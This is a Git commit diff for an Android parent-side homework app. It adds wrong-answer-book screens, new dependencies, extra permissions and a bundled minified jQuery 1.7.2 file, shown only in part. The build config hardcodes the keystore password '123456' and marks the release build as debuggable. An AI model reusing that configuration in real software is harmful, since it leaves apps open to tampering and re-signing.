Commit d3e82c2efdecf67ceffa02a34d48bb9f7b7e8104
1 parent
e91fb2bcfd
Exists in
master
家长端小新错题
Showing
172 changed files
with
7888 additions
and
52 deletions
Show diff stats
Too many changes.
To preserve performance only 100 of 172 files displayed.
app/build.gradle
1 | apply plugin: 'com.android.application' | 1 | apply plugin: 'com.android.application' |
2 | apply from: '../config.gradle' | 2 | apply from: '../config.gradle' |
3 | 3 | ||
4 | 4 | ||
5 | def androidId = rootProject.ext.androidId | 5 | def androidId = rootProject.ext.androidId |
6 | def support = rootProject.ext.dependencies | 6 | def support = rootProject.ext.dependencies |
7 | def url = rootProject.ext.url | 7 | def url = rootProject.ext.url |
8 | 8 | ||
9 | 9 | ||
10 | android { | 10 | android { |
11 | signingConfigs { | 11 | signingConfigs { |
12 | 12 | ||
13 | config { | 13 | config { |
14 | keyAlias 'alias' | 14 | keyAlias 'alias' |
15 | keyPassword '123456' | 15 | keyPassword '123456' |
16 | storeFile file('key.jks') | 16 | storeFile file('key.jks') |
17 | storePassword '123456' | 17 | storePassword '123456' |
18 | } | 18 | } |
19 | debug { | 19 | debug { |
20 | } | 20 | } |
21 | } | 21 | } |
22 | compileSdk 32 | 22 | compileSdk 32 |
23 | 23 | ||
24 | defaultConfig { | 24 | defaultConfig { |
25 | applicationId "com.hjx.parent" | 25 | applicationId "com.hjx.parent" |
26 | minSdk 24 | 26 | minSdk 24 |
27 | targetSdk 32 | 27 | targetSdk 32 |
28 | versionCode 1001 | 28 | versionCode 1001 |
29 | versionName "1.0.0.1" | 29 | versionName "1.0.0.1" |
30 | 30 | ||
31 | testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" | 31 | testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" |
32 | } | 32 | } |
33 | 33 | ||
34 | android.applicationVariants.all { | 34 | android.applicationVariants.all { |
35 | variant -> | 35 | variant -> |
36 | variant.outputs.all { | 36 | variant.outputs.all { |
37 | //在这里修改apk文件名 | 37 | //在这里修改apk文件名 |
38 | outputFileName = "parent-${variant.name}-v${variant.versionName}.apk" | 38 | outputFileName = "parent-${variant.name}-v${variant.versionName}.apk" |
39 | } | 39 | } |
40 | } | 40 | } |
41 | buildTypes { | 41 | buildTypes { |
42 | debug { | 42 | debug { |
43 | debuggable true | 43 | debuggable true |
44 | minifyEnabled false | 44 | minifyEnabled false |
45 | proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' | 45 | proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' |
46 | signingConfig signingConfigs.config | 46 | signingConfig signingConfigs.config |
47 | } | 47 | } |
48 | release { | 48 | release { |
49 | debuggable true | 49 | debuggable true |
50 | minifyEnabled false | 50 | minifyEnabled false |
51 | proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' | 51 | proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' |
52 | signingConfig signingConfigs.config | 52 | signingConfig signingConfigs.config |
53 | } | 53 | } |
54 | } | 54 | } |
55 | lintOptions { | 55 | lintOptions { |
56 | checkReleaseBuilds false | 56 | checkReleaseBuilds false |
57 | abortOnError false | 57 | abortOnError false |
58 | } | 58 | } |
59 | buildFeatures { | ||
60 | viewBinding true | ||
61 | } | ||
59 | compileOptions { | 62 | compileOptions { |
60 | sourceCompatibility JavaVersion.VERSION_1_8 | 63 | sourceCompatibility JavaVersion.VERSION_1_8 |
61 | targetCompatibility JavaVersion.VERSION_1_8 | 64 | targetCompatibility JavaVersion.VERSION_1_8 |
62 | } | 65 | } |
63 | } | 66 | } |
64 | 67 | ||
65 | dependencies { | 68 | dependencies { |
66 | support.each { k, v -> implementation v } | 69 | support.each { k, v -> implementation v } |
67 | api project(path: ':libs:common') | 70 | api project(path: ':libs:common') |
68 | implementation 'androidx.appcompat:appcompat:1.5.1' | 71 | implementation 'androidx.appcompat:appcompat:1.5.1' |
69 | implementation 'com.google.android.material:material:1.6.1' | 72 | implementation 'com.google.android.material:material:1.6.1' |
70 | implementation 'androidx.constraintlayout:constraintlayout:2.1.4' | 73 | implementation 'androidx.constraintlayout:constraintlayout:2.1.4' |
71 | implementation 'com.github.CymChad:BaseRecyclerViewAdapterHelper:2.9.50' | 74 | implementation 'com.github.CymChad:BaseRecyclerViewAdapterHelper:2.9.50' |
75 | implementation 'com.github.ForgetAll:LoadingDialog:1.1.2' | ||
76 | implementation 'com.github.DL-ZhangTeng:ImagePicker:1.5.0' | ||
77 | //使用的三方 | ||
78 | implementation 'com.yalantis:ucrop:2.2.0' | ||
79 | implementation 'com.github.DL-ZhangTeng:RequestPermission:1.3.0' | ||
80 | implementation 'com.github.DL-ZhangTeng:Utils:2.2.0' | ||
72 | } | 81 | } |
app/src/main/AndroidManifest.xml
1 | <?xml version="1.0" encoding="utf-8"?> | 1 | <?xml version="1.0" encoding="utf-8"?> |
2 | <manifest xmlns:android="http://schemas.android.com/apk/res/android" | 2 | <manifest xmlns:android="http://schemas.android.com/apk/res/android" |
3 | xmlns:tools="http://schemas.android.com/tools" | 3 | xmlns:tools="http://schemas.android.com/tools" |
4 | package="com.hjx.parent"> | 4 | package="com.hjx.parent"> |
5 | 5 | ||
6 | 6 | ||
7 | <uses-permission android:name="android.permission.CHANGE_WIFI_MULTICAST_STATE" /> | 7 | <uses-permission android:name="android.permission.CHANGE_WIFI_MULTICAST_STATE" /> |
8 | <uses-permission android:name="android.permission.CHANGE_NETWORK_STATE" /> <!-- 允许程序改变网络链接状态 --> | 8 | <uses-permission android:name="android.permission.CHANGE_NETWORK_STATE" /> <!-- 允许程序改变网络链接状态 --> |
9 | <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" /> <!-- 允许程序访问访问WIFI网络状态信息 --> | 9 | <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" /> <!-- 允许程序访问访问WIFI网络状态信息 --> |
10 | <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" /> <!-- 允许程序改变WIFI链接状态 --> | 10 | <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" /> <!-- 允许程序改变WIFI链接状态 --> |
11 | <!-- 6.0系统需要添加权限才能获得wifi列表 --> | 11 | <!-- 6.0系统需要添加权限才能获得wifi列表 --> |
12 | <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" /> | 12 | <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" /> |
13 | <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /> | 13 | <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /> |
14 | <uses-permission android:name="android.permission.INTERNET" /> | 14 | <uses-permission android:name="android.permission.INTERNET" /> |
15 | <uses-permission android:name="android.permission.RECORD_AUDIO" /> | 15 | <uses-permission android:name="android.permission.RECORD_AUDIO" /> |
16 | <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> | 16 | <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> |
17 | 17 | ||
18 | <uses-permission android:name="android.permission.DISABLE_KEYGUARD" /> | 18 | <uses-permission android:name="android.permission.DISABLE_KEYGUARD" /> |
19 | <uses-permission android:name="android.permission.READ_PHONE_STATE" /> | 19 | <uses-permission android:name="android.permission.READ_PHONE_STATE" /> |
20 | <uses-permission android:name="android.permission.WAKE_LOCK" /> | 20 | <uses-permission android:name="android.permission.WAKE_LOCK" /> |
21 | <uses-permission android:name="android.permission.CAMERA" /> | 21 | <uses-permission android:name="android.permission.CAMERA" /> |
22 | <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> | 22 | <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> |
23 | <uses-permission android:name="android.permission.VIBRATE" /> | 23 | <uses-permission android:name="android.permission.VIBRATE" /> |
24 | <uses-permission | ||
25 | android:name="android.permission.WRITE_EXTERNAL_STORAGE" | ||
26 | tools:ignore="ScopedStorage" /> | ||
24 | 27 | ||
25 | <application | 28 | <application |
26 | android:name=".MyApplication" | 29 | android:name=".App" |
27 | android:allowBackup="true" | 30 | android:allowBackup="true" |
28 | android:icon="@mipmap/icon" | 31 | android:icon="@mipmap/icon" |
29 | android:label="@string/app_name" | 32 | android:label="@string/app_name" |
30 | android:networkSecurityConfig="@xml/network_security_config" | 33 | android:networkSecurityConfig="@xml/network_security_config" |
31 | android:supportsRtl="true" | 34 | android:supportsRtl="true" |
32 | android:theme="@style/Theme.Parent"> | 35 | android:theme="@style/Theme.Parent"> |
33 | <activity | 36 | <activity |
34 | android:name=".LoginActivity" | 37 | android:name=".LoginActivity" |
35 | android:exported="true" | 38 | android:exported="true" |
36 | android:theme="@style/ThemeSplash"> | 39 | android:theme="@style/ThemeSplash"> |
37 | <intent-filter> | 40 | <intent-filter> |
38 | <action android:name="android.intent.action.MAIN" /> | 41 | <action android:name="android.intent.action.MAIN" /> |
39 | <category android:name="android.intent.category.LAUNCHER" /> | 42 | <category android:name="android.intent.category.LAUNCHER" /> |
40 | </intent-filter> | 43 | </intent-filter> |
41 | </activity> | 44 | </activity> |
42 | <activity | 45 | <activity |
43 | android:name=".MainActivity" | 46 | android:name=".MainActivity" |
44 | android:launchMode="singleTask" | 47 | android:launchMode="singleTask" |
45 | android:theme="@style/Theme.AppCompat.NoActionBar" /> | 48 | android:theme="@style/Theme.AppCompat.Light.NoActionBar" /> |
46 | <activity | 49 | <activity |
47 | android:name=".RegisterActivity" | 50 | android:name=".RegisterActivity" |
48 | android:theme="@style/ThemeSplash" /> | 51 | android:theme="@style/ThemeSplash" /> |
49 | <activity | 52 | <activity |
50 | android:name=".UserActivity" | 53 | android:name=".UserActivity" |
51 | android:theme="@style/Theme.AppCompat.NoActionBar" /> | 54 | android:theme="@style/Theme.AppCompat.Light.NoActionBar" /> |
52 | <activity | 55 | <activity |
53 | android:name=".YinsiActivity" | 56 | android:name=".YinsiActivity" |
54 | android:theme="@style/Theme.AppCompat.NoActionBar" /> | 57 | android:theme="@style/Theme.AppCompat.Light.NoActionBar" /> |
55 | <activity | 58 | <activity |
56 | android:name=".QRActivity" | 59 | android:name=".QRActivity" |
57 | android:theme="@style/Theme.AppCompat.NoActionBar" /> | 60 | android:theme="@style/Theme.AppCompat.Light.NoActionBar" /> |
58 | <activity | 61 | <activity |
59 | android:name=".AddStudentActivity" | 62 | android:name=".AddStudentActivity" |
60 | android:theme="@style/Theme.AppCompat.NoActionBar" /> | 63 | android:theme="@style/Theme.AppCompat.Light.NoActionBar" /> |
61 | <activity | 64 | <activity |
62 | android:name=".NickActivity" | 65 | android:name=".NickActivity" |
63 | android:theme="@style/Theme.AppCompat.NoActionBar" /> | 66 | android:theme="@style/Theme.AppCompat.Light.NoActionBar" /> |
64 | <activity | 67 | <activity |
65 | android:name=".SexActivity" | 68 | android:name=".SexActivity" |
66 | android:theme="@style/Theme.AppCompat.NoActionBar" /> | 69 | android:theme="@style/Theme.AppCompat.Light.NoActionBar" /> |
67 | <activity | 70 | <activity |
68 | android:name=".NianActivity" | 71 | android:name=".NianActivity" |
69 | android:theme="@style/Theme.AppCompat.NoActionBar" /> | 72 | android:theme="@style/Theme.AppCompat.Light.NoActionBar" /> |
70 | <activity | 73 | <activity |
71 | android:name=".ShenActivity" | 74 | android:name=".ShenActivity" |
72 | android:theme="@style/Theme.AppCompat.NoActionBar" /> | 75 | android:theme="@style/Theme.AppCompat.Light.NoActionBar" /> |
73 | <activity | 76 | <activity |
74 | android:name=".UserAgreementActivity" | 77 | android:name=".UserAgreementActivity" |
75 | android:theme="@style/Theme.AppCompat.NoActionBar" /> | 78 | android:theme="@style/Theme.AppCompat.Light.NoActionBar" /> |
76 | <activity | 79 | <activity |
77 | android:name=".AccountActivity" | 80 | android:name=".AccountActivity" |
78 | android:theme="@style/Theme.AppCompat.NoActionBar" /> | 81 | android:theme="@style/Theme.AppCompat.Light.NoActionBar" /> |
79 | 82 | ||
80 | <activity | 83 | <activity |
81 | android:name=".ChangePwdActivity" | 84 | android:name=".ChangePwdActivity" |
82 | android:theme="@style/Theme.AppCompat.NoActionBar" /> | 85 | android:theme="@style/Theme.AppCompat.Light.NoActionBar" /> |
83 | <activity | 86 | <activity |
84 | android:name=".EditStudentActivity" | 87 | android:name=".EditStudentActivity" |
85 | android:theme="@style/Theme.AppCompat.NoActionBar" /> | 88 | android:theme="@style/Theme.AppCompat.Light.NoActionBar" /> |
86 | <activity | 89 | <activity |
87 | android:name=".ChooseActivity" | 90 | android:name=".ChooseActivity" |
88 | android:theme="@style/Theme.AppCompat.NoActionBar" /> | 91 | android:theme="@style/Theme.AppCompat.Light.NoActionBar" /> |
89 | <activity | 92 | <activity |
90 | android:name=".AddTeacherActivity" | 93 | android:name=".AddTeacherActivity" |
91 | android:theme="@style/Theme.AppCompat.NoActionBar" /> | 94 | android:theme="@style/Theme.AppCompat.Light.NoActionBar" /> |
95 | <activity | ||
96 | android:name=".ErrorBookActivity" | ||
97 | android:theme="@style/Theme.AppCompat.Light.NoActionBar" /> | ||
98 | <activity | ||
99 | android:name=".ImageActivity" | ||
100 | android:theme="@style/Theme.AppCompat.Light.NoActionBar" /> | ||
101 | <activity | ||
102 | android:name=".ImageEditActivity" | ||
103 | android:theme="@style/Theme.AppCompat.Light.NoActionBar" /> | ||
104 | <activity | ||
105 | android:name=".ImageSelectActivity" | ||
106 | android:theme="@style/Theme.AppCompat.Light.NoActionBar" /> | ||
107 | <activity | ||
108 | android:name=".AddSuccessActivity" | ||
109 | android:theme="@style/Theme.AppCompat.Light.NoActionBar" /> | ||
110 | <activity | ||
111 | android:name=".ErrorListActivity" | ||
112 | android:theme="@style/Theme.AppCompat.Light.NoActionBar" /> | ||
113 | <activity | ||
114 | android:name=".ErrorDetailActivity" | ||
115 | android:theme="@style/Theme.AppCompat.Light.NoActionBar" /> | ||
92 | 116 | ||
93 | <provider | 117 | <provider |
94 | android:name="androidx.core.content.FileProvider" | 118 | android:name="androidx.core.content.FileProvider" |
95 | android:authorities="com.hjx.parent.fileprovider" | 119 | android:authorities="com.hjx.parent.fileprovider" |
96 | android:exported="false" | 120 | android:exported="false" |
97 | android:grantUriPermissions="true"> | 121 | android:grantUriPermissions="true" |
122 | tools:replace="android:authorities"> | ||
98 | <meta-data | 123 | <meta-data |
99 | android:name="android.support.FILE_PROVIDER_PATHS" | 124 | android:name="android.support.FILE_PROVIDER_PATHS" |
100 | android:resource="@xml/file_provider_paths" | 125 | android:resource="@xml/file_provider_paths" |
101 | tools:replace="android:resource" /> | 126 | tools:replace="android:resource" /> |
102 | </provider> | 127 | </provider> |
103 | </application> | 128 | </application> |
104 | 129 | ||
105 | </manifest> | 130 | </manifest> |
app/src/main/assets/jquery.min.js
File was created | 1 | /*! jQuery v1.7.2 jquery.com | jquery.org/license */ | |
2 | (function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cu(a){if(!cj[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"||e===""){ck||(ck=c.createElement("iframe"),ck.frameBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl||!ck.createElement)cl=(ck.contentWindow||ck.contentDocument).document,cl.write((f.support.boxModel?"<!doctype html>":"")+"<html><body>"),cl.close();d=cl.createElement(a),cl.body.appendChild(d),e=f.css(d,"display"),b.removeChild(ck)}cj[a]=e}return cj[a]}function ct(a,b){var c={};f.each(cp.concat.apply([],cp.slice(0,b)),function(){c[this]=a});return c}function cs(){cq=b}function cr(){setTimeout(cs,0);return cq=f.now()}function ci(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ch(){try{return new a.XMLHttpRequest}catch(b){}}function cb(a,c){a.dataFilter&&(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g<i;g++){if(g===1)for(h in a.converters)typeof h=="string"&&(e[h.toLowerCase()]=a.converters[h]);l=k,k=d[g];if(k==="*")k=l;else if(l!=="*"&&l!==k){m=l+" "+k,n=e[m]||e["* "+k];if(!n){p=b;for(o in e){j=o.split(" ");if(j[0]===l||j[0]==="*"){p=e[j[1]+" "+k];if(p){o=e[o],o===!0?n=p:p===!0&&(n=o);break}}}}!n&&!p&&f.error("No conversion from "+m.replace(" "," to ")),n!==!0&&(c=n?n(c):p(o(c)))}}return c}function ca(a,c,d){var e=a.contents,f=a.dataTypes,g=a.responseFields,h,i,j,k;for(i in g)i in d&&(c[g[i]]=d[i]);while(f[0]==="*")f.shift(),h===b&&(h=a.mimeType||c.getResponseHeader("content-type"));if(h)for(i in e)if(e[i]&&e[i].test(h)){f.unshift(i);break}if(f[0]in d)j=f[0];else{for(i in d){if(!f[0]||a.converters[i+" "+f[0]]){j=i;break}k||(k=i)}j=j||k}if(j){j!==f[0]&&f.unshift(j);return d[j]}}function b_(a,b,c,d){if(f.isArray(b))f.each(b,function(b,e){c||bD.test(a)?d(a,e):b_(a+"["+(typeof e=="object"?b:"")+"]",e,c,d)});else if(!c&&f.type(b)==="object")for(var e in b)b_(a+"["+e+"]",b[e],c,d);else d(a,b)}function b$(a,c){var d,e,g=f.ajaxSettings.flatOptions||{};for(d in c)c[d]!==b&&((g[d]?a:e||(e={}))[d]=c[d]);e&&f.extend(!0,a,e)}function bZ(a,c,d,e,f,g){f=f||c.dataTypes[0],g=g||{},g[f]=!0;var h=a[f],i=0,j=h?h.length:0,k=a===bS,l;for(;i<j&&(k||!l);i++)l=h[i](c,d,e),typeof l=="string"&&(!k||g[l]?l=b:(c.dataTypes.unshift(l),l=bZ(a,c,d,e,l,g)));(k||!l)&&!g["*"]&&(l=bZ(a,c,d,e,"*",g));return l}function bY(a){return function(b,c){typeof b!="string"&&(c=b,b="*");if(f.isFunction(c)){var d=b.toLowerCase().split(bO),e=0,g=d.length,h,i,j;for(;e<g;e++)h=d[e],j=/^\+/.test(h),j&&(h=h.substr(1)||"*"),i=a[h]=a[h]||[],i[j?"unshift":"push"](c)}}}function bB(a,b,c){var d=b==="width"?a.offsetWidth:a.offsetHeight,e=b==="width"?1:0,g=4;if(d>0){if(c!=="border")for(;e<g;e+=2)c||(d-=parseFloat(f.css(a,"padding"+bx[e]))||0),c==="margin"?d+=parseFloat(f.css(a,c+bx[e]))||0:d-=parseFloat(f.css(a,"border"+bx[e]+"Width"))||0;return d+"px"}d=by(a,b);if(d<0||d==null)d=a.style[b];if(bt.test(d))return d;d=parseFloat(d)||0;if(c)for(;e<g;e+=2)d+=parseFloat(f.css(a,"padding"+bx[e]))||0,c!=="padding"&&(d+=parseFloat(f.css(a,"border"+bx[e]+"Width"))||0),c==="margin"&&(d+=parseFloat(f.css(a,c+bx[e]))||0);return d+"px"}function bo(a){var b=c.createElement("div");bh.appendChild(b),b.innerHTML=a.outerHTML;return b.firstChild}function bn(a){var b=(a.nodeName||"").toLowerCase();b==="input"?bm(a):b!=="script"&&typeof a.getElementsByTagName!="undefined"&&f.grep(a.getElementsByTagName("input"),bm)}function bm(a){if(a.type==="checkbox"||a.type==="radio")a.defaultChecked=a.checked}function bl(a){return typeof a.getElementsByTagName!="undefined"?a.getElementsByTagName("*"):typeof a.querySelectorAll!="undefined"?a.querySelectorAll("*"):[]}function bk(a,b){var c;b.nodeType===1&&(b.clearAttributes&&b.clearAttributes(),b.mergeAttributes&&b.mergeAttributes(a),c=b.nodeName.toLowerCase(),c==="object"?b.outerHTML=a.outerHTML:c!=="input"||a.type!=="checkbox"&&a.type!=="radio"?c==="option"?b.selected=a.defaultSelected:c==="input"||c==="textarea"?b.defaultValue=a.defaultValue:c==="script"&&b.text!==a.text&&(b.text=a.text):(a.checked&&(b.defaultChecked=b.checked=a.checked),b.value!==a.value&&(b.value=a.value)),b.removeAttribute(f.expando),b.removeAttribute("_submit_attached"),b.removeAttribute("_change_attached"))}function bj(a,b){if(b.nodeType===1&&!!f.hasData(a)){var c,d,e,g=f._data(a),h=f._data(b,g),i=g.events;if(i){delete h.handle,h.events={};for(c in i)for(d=0,e=i[c].length;d<e;d++)f.event.add(b,c,i[c][d])}h.data&&(h.data=f.extend({},h.data))}}function bi(a,b){return f.nodeName(a,"table")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function U(a){var b=V.split("|"),c=a.createDocumentFragment();if(c.createElement)while(b.length)c.createElement(b.pop());return c}function T(a,b,c){b=b||0;if(f.isFunction(b))return f.grep(a,function(a,d){var e=!!b.call(a,d,a);return e===c});if(b.nodeType)return f.grep(a,function(a,d){return a===b===c});if(typeof b=="string"){var d=f.grep(a,function(a){return a.nodeType===1});if(O.test(b))return f.filter(b,d,!c);b=f.filter(b,d)}return f.grep(a,function(a,d){return f.inArray(a,b)>=0===c})}function S(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function K(){return!0}function J(){return!1}function n(a,b,c){var d=b+"defer",e=b+"queue",g=b+"mark",h=f._data(a,d);h&&(c==="queue"||!f._data(a,e))&&(c==="mark"||!f._data(a,g))&&setTimeout(function(){!f._data(a,e)&&!f._data(a,g)&&(f.removeData(a,d,!0),h.fire())},0)}function m(a){for(var b in a){if(b==="data"&&f.isEmptyObject(a[b]))continue;if(b!=="toJSON")return!1}return!0}function l(a,c,d){if(d===b&&a.nodeType===1){var e="data-"+c.replace(k,"-$1").toLowerCase();d=a.getAttribute(e);if(typeof d=="string"){try{d=d==="true"?!0:d==="false"?!1:d==="null"?null:f.isNumeric(d)?+d:j.test(d)?f.parseJSON(d):d}catch(g){}f.data(a,c,d)}else d=b}return d}function h(a){var b=g[a]={},c,d;a=a.split(/\s+/);for(c=0,d=a.length;c<d;c++)b[a[c]]=!0;return b}var c=a.document,d=a.navigator,e=a.location,f=function(){function J(){if(!e.isReady){try{c.documentElement.doScroll("left")}catch(a){setTimeout(J,1);return}e.ready()}}var e=function(a,b){return new e.fn.init(a,b,h)},f=a.jQuery,g=a.$,h,i=/^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,j=/\S/,k=/^\s+/,l=/\s+$/,m=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,n=/^[\],:{}\s]*$/,o=/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,p=/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,q=/(?:^|:|,)(?:\s*\[)+/g,r=/(webkit)[ \/]([\w.]+)/,s=/(opera)(?:.*version)?[ \/]([\w.]+)/,t=/(msie) ([\w.]+)/,u=/(mozilla)(?:.*? rv:([\w.]+))?/,v=/-([a-z]|[0-9])/ig,w=/^-ms-/,x=function(a,b){return(b+"").toUpperCase()},y=d.userAgent,z,A,B,C=Object.prototype.toString,D=Object.prototype.hasOwnProperty,E=Array.prototype.push,F=Array.prototype.slice,G=String.prototype.trim,H=Array.prototype.indexOf,I={};e.fn=e.prototype={constructor:e,init:function(a,d,f){var g,h,j,k;if(!a)return this;if(a.nodeType){this.context=this[0]=a,this.length=1;return this}if(a==="body"&&!d&&c.body){this.context=c,this[0]=c.body,this.selector=a,this.length=1;return this}if(typeof a=="string"){a.charAt(0)!=="<"||a.charAt(a.length-1)!==">"||a.length<3?g=i.exec(a):g=[null,a,null];if(g&&(g[1]||!d)){if(g[1]){d=d instanceof e?d[0]:d,k=d?d.ownerDocument||d:c,j=m.exec(a),j?e.isPlainObject(d)?(a=[c.createElement(j[1])],e.fn.attr.call(a,d,!0)):a=[k.createElement(j[1])]:(j=e.buildFragment([g[1]],[k]),a=(j.cacheable?e.clone(j.fragment):j.fragment).childNodes);return e.merge(this,a)}h=c.getElementById(g[2]);if(h&&h.parentNode){if(h.id!==g[2])return f.find(a);this.length=1,this[0]=h}this.context=c,this.selector=a;return this}return!d||d.jquery?(d||f).find(a):this.constructor(d).find(a)}if(e.isFunction(a))return f.ready(a);a.selector!==b&&(this.selector=a.selector,this.context=a.context);return e.makeArray(a,this)},selector:"",jquery:"1.7.2",length:0,size:function(){return this.length},toArray:function(){return F.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this[this.length+a]:this[a]},pushStack:function(a,b,c){var d=this.constructor();e.isArray(a)?E.apply(d,a):e.merge(d,a),d.prevObject=this,d.context=this.context,b==="find"?d.selector=this.selector+(this.selector?" ":"")+c:b&&(d.selector=this.selector+"."+b+"("+c+")");return d},each:function(a,b){return e.each(this,a,b)},ready:function(a){e.bindReady(),A.add(a);return this},eq:function(a){a=+a;return a===-1?this.slice(a):this.slice(a,a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(F.apply(this,arguments),"slice",F.call(arguments).join(","))},map:function(a){return this.pushStack(e.map(this,function(b,c){return a.call(b,c,b)}))},end:function(){return this.prevObject||this.constructor(null)},push:E,sort:[].sort,splice:[].splice},e.fn.init.prototype=e.fn,e.extend=e.fn.extend=function(){var a,c,d,f,g,h,i=arguments[0]||{},j=1,k=arguments.length,l=!1;typeof i=="boolean"&&(l=i,i=arguments[1]||{},j=2),typeof i!="object"&&!e.isFunction(i)&&(i={}),k===j&&(i=this,--j);for(;j<k;j++)if((a=arguments[j])!=null)for(c in a){d=i[c],f=a[c];if(i===f)continue;l&&f&&(e.isPlainObject(f)||(g=e.isArray(f)))?(g?(g=!1,h=d&&e.isArray(d)?d:[]):h=d&&e.isPlainObject(d)?d:{},i[c]=e.extend(l,h,f)):f!==b&&(i[c]=f)}return i},e.extend({noConflict:function(b){a.$===e&&(a.$=g),b&&a.jQuery===e&&(a.jQuery=f);return e},isReady:!1,readyWait:1,holdReady:function(a){a?e.readyWait++:e.ready(!0)},ready:function(a){if(a===!0&&!--e.readyWait||a!==!0&&!e.isReady){if(!c.body)return setTimeout(e.ready,1);e.isReady=!0;if(a!==!0&&--e.readyWait>0)return;A.fireWith(c,[e]),e.fn.trigger&&e(c).trigger("ready").off("ready")}},bindReady:function(){if(!A){A=e.Callbacks("once memory");if(c.readyState==="complete")return setTimeout(e.ready,1);if(c.addEventListener)c.addEventListener("DOMContentLoaded",B,!1),a.addEventListener("load",e.ready,!1);else if(c.attachEvent){c.attachEvent("onreadystatechange",B),a.attachEvent("onload",e.ready);var b=!1;try{b=a.frameElement==null}catch(d){}c.documentElement.doScroll&&b&&J()}}},isFunction:function(a){return e.type(a)==="function"},isArray:Array.isArray||function(a){return e.type(a)==="array"},isWindow:function(a){return a!=null&&a==a.window},isNumeric:function(a){return!isNaN(parseFloat(a))&&isFinite(a)},type:function(a){return a==null?String(a):I[C.call(a)]||"object"},isPlainObject:function(a){if(!a||e.type(a)!=="object"||a.nodeType||e.isWindow(a))return!1;try{if(a.constructor&&!D.call(a,"constructor")&&!D.call(a.constructor.prototype,"isPrototypeOf"))return!1}catch(c){return!1}var d;for(d in a);return d===b||D.call(a,d)},isEmptyObject:function(a){for(var b in a)return!1;return!0},error:function(a){throw new Error(a)},parseJSON:function(b){if(typeof b!="string"||!b)return null;b=e.trim(b);if(a.JSON&&a.JSON.parse)return a.JSON.parse(b);if(n.test(b.replace(o,"@").replace(p,"]").replace(q,"")))return(new Function("return "+b))();e.error("Invalid JSON: "+b)},parseXML:function(c){if(typeof c!="string"||!c)return null;var d,f;try{a.DOMParser?(f=new DOMParser,d=f.parseFromString(c,"text/xml")):(d=new ActiveXObject("Microsoft.XMLDOM"),d.async="false",d.loadXML(c))}catch(g){d=b}(!d||!d.documentElement||d.getElementsByTagName("parsererror").length)&&e.error("Invalid XML: "+c);return d},noop:function(){},globalEval:function(b){b&&j.test(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(w,"ms-").replace(v,x)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,c,d){var f,g=0,h=a.length,i=h===b||e.isFunction(a);if(d){if(i){for(f in a)if(c.apply(a[f],d)===!1)break}else for(;g<h;)if(c.apply(a[g++],d)===!1)break}else if(i){for(f in a)if(c.call(a[f],f,a[f])===!1)break}else for(;g<h;)if(c.call(a[g],g,a[g++])===!1)break;return a},trim:G?function(a){return a==null?"":G.call(a)}:function(a){return a==null?"":(a+"").replace(k,"").replace(l,"")},makeArray:function(a,b){var c=b||[];if(a!=null){var d=e.type(a);a.length==null||d==="string"||d==="function"||d==="regexp"||e.isWindow(a)?E.call(c,a):e.merge(c,a)}return c},inArray:function(a,b,c){var d;if(b){if(H)return H.call(b,a,c);d=b.length,c=c?c<0?Math.max(0,d+c):c:0;for(;c<d;c++)if(c in b&&b[c]===a)return c}return-1},merge:function(a,c){var d=a.length,e=0;if(typeof c.length=="number")for(var f=c.length;e<f;e++)a[d++]=c[e];else while(c[e]!==b)a[d++]=c[e++];a.length=d;return a},grep:function(a,b,c){var d=[],e;c=!!c;for(var f=0,g=a.length;f<g;f++)e=!!b(a[f],f),c!==e&&d.push(a[f]);return d},map:function(a,c,d){var f,g,h=[],i=0,j=a.length,k=a instanceof e||j!==b&&typeof j=="number"&&(j>0&&a[0]&&a[j-1]||j===0||e.isArray(a));if(k)for(;i<j;i++)f=c(a[i],i,d),f!=null&&(h[h.length]=f);else for(g in a)f=c(a[g],g,d),f!=null&&(h[h.length]=f);return h.concat.apply([],h)},guid:1,proxy:function(a,c){if(typeof c=="string"){var d=a[c];c=a,a=d}if(!e.isFunction(a))return b;var f=F.call(arguments,2),g=function(){return a.apply(c,f.concat(F.call(arguments)))};g.guid=a.guid=a.guid||g.guid||e.guid++;return g},access:function(a,c,d,f,g,h,i){var j,k=d==null,l=0,m=a.length;if(d&&typeof d=="object"){for(l in d)e.access(a,c,l,d[l],1,h,f);g=1}else 